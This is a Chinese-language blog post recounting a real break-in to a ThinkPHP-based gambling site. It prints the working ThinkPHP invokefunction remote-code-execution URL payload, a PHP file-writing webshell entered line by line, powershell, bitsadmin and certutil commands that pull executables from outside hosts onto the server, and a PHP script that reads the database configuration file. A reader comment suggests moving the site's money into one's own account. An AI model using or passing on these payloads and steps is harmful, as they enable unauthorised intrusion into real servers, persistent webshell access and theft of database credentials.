首頁>科技>

粉絲丟過來一個thinkphp的菠菜站,最近tp不是剛好有個漏洞嗎?然後就順手測試了一下,但過程並不太順利,不過最後還是拿下了,所以特發此文分享下思路。

0x00 一鍵getshell?

簡單看了下,應該有不少人玩吧?

正好前幾天寫了個測試工具,先掏出來測試一發。

工具顯示存在漏洞

一鍵getshell,看起來很順利的樣子,哈哈。

菜刀連線的時候,返回500錯誤。

用火狐的hackbar驗證下,沒毛病啊,那為什麼菜刀連線不上呢?

0x01 開始分析

因為這個工具我自己寫的,從上面getshell的圖片中發現呼叫的是第三個exp,那麼我們來分析下看看。

poc如下

/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

我們在poc後面輸入whoami看看許可權。

/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

iis許可權

但是可以執行部分命令,比如echo dir等等。

0x02 嘗試突破拿shell

既然可以執行echo 那麼我們可以來嘗試寫入個小馬試試,如果成功的話,再利用小馬上傳大馬,說幹就幹,苦活來了,我們得一行一行寫入進去。

注意:程式碼中的<>符號,要用^^轉義。比如<?php轉義為^<^?php

<?php

header("content-Type: text/html; charset=gb2312");

if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);

?>

<form method="POST">

儲存檔名: <input type="text" name="file" size="60" value="<? echo str_replace('\\\\','/',__FILE__) ?>">

<br><br>

<textarea name="text" COLS="70" ROWS="18" ></textarea>

<br><br>

<input type="submit" name="submit" value="儲存">

<form>

<?php

if(isset($_POST['file']))

{

$fp = @fopen($_POST['file'],'wb');

echo @fwrite($fp,$_POST['text']) ? '儲存成功!' : '儲存失敗!';

@fclose($fp);

}

?>

逐行寫入完成後,訪問的時候發現並不能正常執行,這裡忘記截圖了。。

接下來嘗試用以下方法下載檔案到伺服器上也失敗了。

powershell下載

注意:核心5.2以下版本可能無效

powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.174.145/ssss2.exe','C:\\ssss2.exe')

bitsadmin下載

bitsadmin /transfer n http://baidu.com/files/PSTools.zip C:\\PSTools.zip

注意:不支援https、ftp協議,使用kali的simplehttpserver作伺服器會報錯

正當我打算放棄的時候,我想起來還有個下載的命令沒用。

那就是certutil.exe

說幹就幹,把大馬放到我們伺服器上,開啟HFS。

然後執行以下命令。

certutil.exe -split -ur"lc"ache -f http://ww.baidu.com/svchost.exe svchost.exe

成功進入大馬,不過別高興太早。

大馬可以操作檔案上傳改名等等,但是無法編輯檔案,無法檢視檔案原始碼等等,點開顯示一片空白。

既然這樣,那麼我們進資料庫看看吧。

我們都知道tp的資料庫配置檔案在以下這個位置

/application/database.php

大馬是無法打開了,那麼我們可以用tp的命令執行漏洞嘗試用type命令去讀取這個檔案。

/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=type c:\\www\\application\\database.php

嘗試type讀取失敗,然後又想到copy命令。

把database.php拷貝到web根目錄下,改名為1.txt

/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copy c:\\www\\application\\database.php c:\\www\\public\\1.txt

拷貝完成以後訪問url/1.txt,發現裡面是空的。

0x03 成功突破

經歷了一系列的失敗後,我冷靜下來想了下,我們還可以用file_path去讀取原始碼試試。

<?php

$file_path = 'c:/www/application/database.php';

if(file_exists($file_path)){

$fp = fopen($file_path,'r');

$str = fread($fp,filesize($file_path));

echo $str = str_replace('\\r\\n','<br />',$str);

}

?>

用大馬上傳這個檔案到根目錄下,然後訪問,成功拿到資料庫配置。

然後填寫好配置資訊,進入資料庫。

晚安。

最新評論
  • 1 #

    把他網站弄來的錢全轉自己賬戶去

  • 整治雙十一購物亂象,國家再次出手!該跟這些套路說再見了
  • 蘋果iPhone 11/AirPods供應得到改善或是中中國產能恢復的訊號